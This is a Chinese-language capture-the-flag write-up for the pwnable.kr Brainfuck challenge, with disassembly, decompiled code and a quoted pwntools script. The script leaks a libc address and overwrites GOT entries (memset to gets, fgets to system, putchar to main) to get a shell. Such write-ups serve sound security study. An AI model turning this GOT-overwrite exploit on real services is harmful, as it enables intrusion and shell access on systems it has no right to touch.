pwnable BrainFuck,GOT表重写

    xiaoxiao2021-03-25  106

    题目链接:http://pwnable.kr/play.php

    BrainFuck是什么鬼,百度一下.....

    Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

    其实就是闲着没事做出来的一种语言。

    看看其八个描述符:

    Brainfuck C > ++ptr; < --ptr; + ++*ptr; - --*ptr; . putchar(*ptr); , *ptr =getch(); [ while (*ptr) { ] }

    字符 含义 > 指针加一 < 指针减一 + 指针指向的字节的值加一 - 指针指向的字节的值减一 . 输出指针指向的单元内容(ASCⅡ码) , 输入内容到指针指向的单元(ASCⅡ码) [ 如果指针指向的单元值为零,向后跳转到对应的]指令的次一指令处 ] 如果指针指向的单元值不为零,向前跳转到对应的[指令的次一指令处

    大概了解之后我们就可以开始看看那两个文件了:

    先将两个文件下下来看看,一个可执行文件,一个so  libc....

    将bf拖进ida 

    main()函数如下:

    ; int __cdecl main(int argc, const char **argv, const char **envp) public main main proc near anonymous_0= dword ptr -8 var_4= dword ptr -4 argc= dword ptr 8 argv= dword ptr 0Ch envp= dword ptr 10h push ebp mov ebp, esp push ebx and esp, 0FFFFFFF0h sub esp, 430h mov eax, [ebp+argv] mov [esp+1Ch], eax mov eax, large gs:14h mov [esp+42Ch], eax xor eax, eax mov eax, ds:stdout@@GLIBC_2_0 mov dword ptr [esp+0Ch], 0 ; n mov dword ptr [esp+8], 2 ; modes mov dword ptr [esp+4], 0 ; buf mov [esp], eax ; stream call _setvbuf mov eax, ds:stdin@@GLIBC_2_0 mov dword ptr [esp+0Ch], 0 ; n mov dword ptr [esp+8], 1 ; modes mov dword ptr [esp+4], 0 ; buf mov [esp], eax ; stream call _setvbuf mov ds:p, offset tape mov dword ptr [esp], offset aWelcomeToBrain ; "welcome to brainfuck testing system!!" call _puts mov dword ptr [esp], offset aTypeSomeBrainf ; "type some brainfuck instructions except"... call _puts mov dword ptr [esp+8], 400h ; n mov dword ptr [esp+4], 0 ; c lea eax, [esp+2Ch] mov [esp], eax ; s call _memset mov eax, ds:stdin@@GLIBC_2_0 mov [esp+8], eax ; stream mov dword ptr [esp+4], 400h ; n lea eax, [esp+2Ch] mov [esp], eax ; s call _fgets mov dword ptr [esp+28h], 0 jmp short loc_8048760 也可以f5 看看伪代码:

    int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@4 int v4; // edx@4 size_t i; // [esp+28h] [ebp-40Ch]@1 int v6; // [esp+2Ch] [ebp-408h]@1 int v7; // [esp+42Ch] [ebp-8h]@1 v7 = *MK_FP(__GS__, 20); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); p = (int)&tape; puts("welcome to brainfuck testing system!!"); puts("type some brainfuck instructions except [ ]"); memset(&v6, 0, 0x400u); fgets((char *)&v6, 1024, stdin); for ( i = 0; i < strlen((const char *)&v6); ++i ) do_brainfuck(*((_BYTE *)&v6 + i)); result = 0; v4 = *MK_FP(__GS__, 20) ^ v7; return result; }

    do_brainfuck()这个函数内容如下:

    int __cdecl do_brainfuck(char a1) { int result; // eax@1 _BYTE *v2; // ebx@7 result = a1; switch ( a1 ) { case 43: // + // ++*ptr; result = p; ++*(_BYTE *)p; break; case 44: v2 = (_BYTE *)p; // , // *ptr =getch(); result = getchar(); *v2 = result; break; case 45: // - // --*ptr; result = p; --*(_BYTE *)p; break; case 46: result = putchar(*(char *)p); // . // putchar(*ptr); break; case 60: result = p-- - 1; // < // --ptr; break; case 62: result = p++ + 1; // > // ++ptr; break; case 91: result = puts("[ and ] not supported."); // [ // while (*ptr) { break; default: return result; } return result; } 所以这个程序的功能就是:

    0x1  用户输入一段fk程序

    0x2  将其翻译并执行   

     

    这里注意:执行时还是在这个进程中 甚至可以说在这个函数中,他并没有任何隔离措施,所以我们可以使用bf来输出和写入这个进程的内存

    看看main()中的三个函数:puts() ,memset(), fget().   再联想到题目竟然给出了libc.so 这多次一举的做法明显是让我们通过修改GOT表 (关于GOT 和 plt  不了解的请点这里:GOT,PLT)从而修改函数。

    刚好 memset()和 fgets()的参数都是同一个  我们就将 memset()改为gets(),将fgets()改为system()

    这样我们就需要知道 memset()与fgets() 的got表地址,还要知道gets()和system()的全局地址。

    memset()与fgets() 的got表地址 我们从可执行文件的got表可以得到

    gets()和system()的全局地址      我们通过计算他们与原函数地址在so中的偏移从而通过将原函数的全局地址加或减得到

    然后我们将putchar()函数的地址改为mian()函数的地址从而使得程序再执行一遍main()函数  执行我们的 gets()与 system().

     下面我们可以通过两种方法:

      1   使用bf构造语句输出putchar()的全局地址,再通过system() gets()与putchar()在so中的偏移,从而计算出system() gets()的全局地址 

      2   计算system() gets()与原函数的偏移通过将got表地址 加或减来实现

    别人的payload:

      libc = ELF('/home/c/ctf/libc.so.6')  bf = remote('pwnable.kr', 9001)  bf.recvline_startswith('type')  bf.sendline('<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.')  bf.recv(1)  x=bf.recv(4)[::-1]  jump=0x080484E0  bf.send(p32(jump))  system=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['system']  gets=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['gets']  bf.send(p32(system))  bf.send(p32(gets))  bf.sendline('/bin/sh\x00')  bf.interactive()

    转载请注明原文地址: https://ju.6miu.com/read-15791.html

    最新回复(0)